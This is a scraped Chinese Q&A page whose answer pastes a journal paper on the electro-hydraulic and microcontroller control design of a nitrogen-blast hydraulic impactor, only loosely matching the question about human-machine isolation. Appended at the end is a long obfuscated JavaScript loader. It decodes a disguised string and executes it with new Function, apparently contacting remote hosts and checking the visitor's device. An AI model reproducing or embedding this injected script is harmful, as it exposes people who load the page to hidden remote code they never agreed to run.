怎样作好人机隔离

2025-03-05 12:27:59
推荐回答(1个)
回答(1):

我传给你吧 我用QQ发你QQ邮箱里了 四分不同 的 记得给分哈
你要那一部分的啊 是控制系统的还是回路系统的 还是系统的 其他部分 是要介绍先进知识还是要理论还是要什么其他的??? 就这一个不好回答啊 先给你复制一篇 想要MM我啊 不过没图 不能复制图片
液压冲击器机电液控制系统研究*
摘要:根据氮爆式液压冲击器的工作原理,建立了基于机电液控制的新型液压冲击器控制
方案。论述了所设计的液压控制系统的工作原理,并分别对计算机控制硬件模块、软件模块作了详
细设计;实验表明该设计方案可以根据工作对象自动调节冲击频率和单次冲击能,实现液压冲击器
的智能化工作。
关键词:液压冲击器;液压控制;计算机控制;设计
0 引言
氮爆式液压冲击器是一种广泛应用于矿山岩石
的破碎、混泥土构建的拆毁等工程建设中的新型液
压工程设备,主要结构包括液压冲击活塞、换向阀和
氮气室等基本部件。本文在压力反馈式原理的基础
上,建立了氮爆式液压冲击器基于机电一体化的控
制方案,并对液压控制系统、计算机控制系统的硬件
和软件模块进行了设计,以提高液压破碎锤的自动
化和智能化水平,实现液压冲击技术上的一个突破
1 液压控制系统的基本原理
根据设计理论和控制方法的不同,液压冲击器
液压控制系统可分为行程反馈和压力反馈2种。行
程反馈原理大多基于设置多个信号孔来实现冲击频
率和冲击能的有级调节,但是这类锤结构复杂,加工
工艺、精度要求很高,而且冲击能与冲击频率同步增
减,因此其冲击频率无法设计得很低。压力反馈原
理的基本思想:通过控制冲击活塞回程加速结束时
氮气室的压力,来调节冲击活塞回程位移,以此达到
改变冲击器的冲击频率和单次冲击能的目的。设计
方案中用压力变送器检测冲击活塞冲击钢钎后反弹
时氮气室的压力信号,此信号主要由工作对象的物
理性质决定,当反弹信号较大时,计算机调节活塞回
程加速结束时氮气室的换向压力为较大值,活塞回
程位移增大,相应冲击频率降低,冲击能增大;反之
当信号小时,调节换向压力为较小值,冲击频率增
大,冲击能减小。由于第1次打击的换向压力可以
预先设定,而第1次打击后的每一次打击都有反弹
信号,计算机可以对每一次打击进行调节,实现输出
能量、频率的独立无级调节和最优匹配。此外,由高
速开关阀和逻辑插装锥阀组成的换向系统,完全摒
弃了传统液压冲击器的换向阀和信号孔,消除了换
向阀加工难的情况,换向系统与冲击器分离开来,中
间用油管连接,制造精度容易得到保证,而且完全可
以满足液压冲击器的工作参数要求,因此更具经济
性和寿命长的特点。
液压控制系统的基本结构和原理如图1所示,
由液压油泵、液压冲击器、高速开关阀、逻辑插装锥
阀、安全阀等组成。
(1)回程加速阶段
活塞冲击钢钎后准备回程运动,压力变送器7
检测出活塞冲击后反弹时氮气室的压力值,将此信
号传送给计算机处理,计算机根据气压法原理公式
算出活塞反弹速度并记录下最大速度,据此调整一
一对应的换向时氮气室压力设定值,高速开关9通
电,使其供油孔和控制孔相通,将锥阀8的控制腔与
高压油接通,锥阀8关闭,切断液压冲击器后腔的高
压油路;同时高速开关阀17断电,回油孔和控制孔
相通,使锥阀18的控制腔与接回油路相通,锥阀18
打开,冲击器后腔接通低压油,活塞2在前腔高压油
的作用下作回程加速运动,氮气室压力升高,后腔5
向回油箱排油。当压力变送器检测到氮气室的压力
达到设定的换向压力值时,计算机发出高电平指令
控制高速开关17,将锥阀18的控制腔接通高压油,
锥阀18关闭,切断后腔5的回油路,回程加速结束。
1·钢钎 2·活塞 3·前腔 4·中缸体 5·后腔 6·氮气室 7·
压力变送器 8·进油锥阀 9·进油高速开关阀 10·A/D转换器
11·高压蓄能器 12·CPU 13·功率信号放大器 14·安全阀 15·
液压泵 16·回油滤清器 17·回油高速开关阀 18·回油锥阀
(2)回程减速与冲程阶段
回程减速与冲程阶段系统油路接通与断开一
致,在锥阀18关闭的同时,计算机发出低电平指令
控制高速开关9,使锥阀8的控制腔接通低压油,锥
阀8打开,冲击器的后腔5接通高压油,活塞在氮气
室压力和高压油液压力等的共同作用下作回程减速
运动以及冲程运动,冲程时前腔3中的高压油随油
路流入后腔5。当冲程结束时,活塞冲击钢钎1并
反弹,计算机记录反弹瞬间氮气室的压力值并转换
为活塞反弹速度,并以最大反弹速度为依据调节换
向压力的设定值,以备下一周期使用。
以上液压控制系统方案取消了传统液压冲击器
的机械式换向系统,采用由计算机控制的自动换向
系统,这样可以根据实际工况来调节冲击器的输出
特性,实现液压冲击器的智能化工作。
2 计算机控制模块硬件设计
计算机控制模块硬件由主控板电路、信号采集
电路、A/D转换电路、人机交换电路、光电隔离传输
电路、输出信号放大电路组成。系统控制电路与液
压冲击器分离开来操作,总体结构如图2所示。主
控板电路完成系统的控制、运算工作;信号采集电路
按照指令采集氮气室压力并以模拟信号的方式传递
给下一级电路;A/D转换电路将模拟信号转换成计
算机能处理的数字信号;人机交换电路用于参数的
设定、系统运行情况的监控等;光电隔离电路用于信
号隔离传输,消除执行机构与硬件电路间的干扰;输
出信号放大电路对输出信号作相应放大处理以便驱
动执行机构工作。
图2 计算机控制模块总体结构图
(1)芯片的选择
单片机芯片选用美国SST公司推出的
SST89E564系列单片机,它采用8051兼容MCU核,
8位CPU与高速Flash集成在同一块芯片上,具有
1 K的片内RAM和64+8 K的EPROM,支持外部扩
展程序存储器和数据存储器的地址范围均为64 K,
内置3个16位的定时/计数器和一个全双工增强的
UART,最多可以有8个中断源,并可以设定为4个
优先级。更特别的是它集成了仿真功能,配合Keil
软件,可使用户的目标板直接具有仿真功能,将单片
机的易用性推向一个新的高度。选用该芯片作为本
系统的核心控制元件,不需再外扩展任何存储设备,
且能高效率、快速运行计算。
A/D转换器选用TI公司的TLV2543串行ADC
芯片,它具有11路模拟输入通道、10 ns的转换速
度、内部片上时钟,采样精度达到12位,外部提供的
时钟最高可达4.1 MHz,能提供较高精度且多通道
的数据采集功能。完全可以满足液压冲击器高频率
工作的要求。另外,该芯片外部接口电路简单,设计
和调试都非常容易。
考虑到液压冲击器的特殊工作环境,选用了抗
干扰能力强的点阵式字符型液晶显示模块对冲击器
的工作情况和参数输入情况进行显示和监控,本控
制系统显示模块选用内部集成HD44780控制器的
字符型液晶显示模块(LCM),液晶控制器HD44780
是字符型液晶显示器的代表,同时具有功耗低、抗干
扰能力强等优点。键盘设计选用矩阵式中断扫描键
盘,利用中断方式,无按键按下时,CPU处理其他工
作而不必进行键的扫描;有键被按下时,通过硬件电
路向CPU申请键盘中断,在键盘中断服务程序中完
成键盘处理,以此提高CPU的效率满足液压冲击器
高频率工作的要求。
(2)信号的传输过程
压力变送器采集氮气室压力信号,为了保证较
远距离传送信号的精度,变送器输出信号的标准为
4~20 mADC,而一般单片机应用系统信号输出只是
电压信号,它能处理的也只有电压信号,因此输出信
号先经电流-电压转换后传给A/D转换电路,A/D
转换器把输入信号进行模数转换,输送给单片机主
控板,单片机对信号作相应处理,并由定时器/计数
器T0和T1通过中断方式输出两路脉宽控制信号,
经由施密特反相器、光电耦合器和并联的施密特反
相器作光电隔离处理后,传至放大电路处理,放大电
路将5 V、5 mA信号放大到12 V、2.6 A后驱动高速
开关阀工作。
3 计算机控制模块软件设计
对控制模块软件设计是为了达到对冲击频率和
单次冲击能的自适应调节2个目的,本文的设计思
想是以压力变送器传来的压力信号为依据去控制2
个高速开关阀的启闭时间。控制模块软件的主要任
务包括系统初始化、处理接口命令、驱动执行模块、
处理键盘命令以及完成显示等,因此软件程序包括
主程序及冲击控制子程序、A/D采样子程序、键盘中
断处理程序和显示子程序等;冲击控制子程序主要
通过定时器/计数器中断方式完成,主程序与控制子
程序流程见图3与图4。
在主程序中,当控制电路板上电后,系统初始
化,进入监控状态,并清理内部存储单元,开放外部
中断,控制系统先不输出控制信号,保持进油、回油
锥阀处于开放状态,一旦检测接到键盘中断发出的
开始运行命令后,进入到控制子程序循环中,开放定
时器中断,启动定时器/计数器T0并设置好初始值
(初始值满足定时时间较短),置单片机相应信号输
出引脚分别为高/低电平,关闭进油锥阀,开放回油
锥阀,冲击器开始回程加速运动;定时器反复中断进
入中断处理程序,每次中断过程中执行A/D采样子
程序获取氮气室压力信号,当氮气室压力pN一旦
等于或大于预设换向压力pNC时,定时器/计数器T0
关闭,启动定时器/计数器T1,信号输出引脚电压置
反,开放进油锥阀,关闭回油锥阀,开始回程减速运
动和冲程运动,在接后的运运过程中,单片机将采集
到的氮气室压力进行比较,直到出现最小值,冲击活
塞已经完成打击钢钎的运动,此后会出现反弹,在反
弹阶段,单片机利用采集到的氮气压力计算反弹速
度,并记录下最大反弹速度且以此为依据查表修改
下一周期的氮气室换向压力。定时结束后关闭定时
器T1,对相应变量重新赋值或修改后启动定时器
T0,开始下一周期运动。当有结束运动的外部中断
命令信号输入时,退出控制子程序,进入监控状态。
4 结语
在压力反馈原理的基础上,对液压冲击器的液
压控制系统、计算机控制硬件模块、软件模块作了详
细设计,液压控制系统中引入高速开关阀、逻辑插装
锥阀共同组成液压冲击器的换向阀块系统,且该阀
块的换向时间由计算机控制,消除基于传统行程反
馈原理的换向阀带来的各种不足;计算机硬件用单
片机作为核心控制元件,与信号采集电路、人机交互
电路和信号输出电路共同协调完成硬件系统工作;
软件模块实时采集和处理各种工况下的压力反馈信
号,并据此调节液压控制系统的回程时间和冲程时
间。实验表明基于上述控制模块的机电液一体化液
压冲击器可以根据工作对象的物理性质,自适应调
节冲击频率和单次冲击能,实现液压冲击器的智能
化、柔性化工作。了解上述控制系统的设计思路,
对液压冲击器的智能化研发有重要的意义。
参考文献:
[1]张新.机电一体化的新型压力反馈式液压冲击器系统研究[D].
中南工业大学,1999.
[2]丁问司.新型压力反馈氮爆式机电一体化液压碎石冲击器系统
究[D].中南大学,2000.
[3]李华.MCS-51系列单片机实用接口技术[M].北京:北京航空
天大学出版社,1993.
[4]陈小忠,等.单片机接口技术实用子程序[M].北京:人民邮电
版社,2005.
[5]李学海.标准80C51单片机基础教程[K].北京:北京航空航天
学出版社,2006.
[6]赖仲平,吕其惠,严朝勇.液压破碎锤控制系统[J].机床与液压,
2004(9):127-128.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();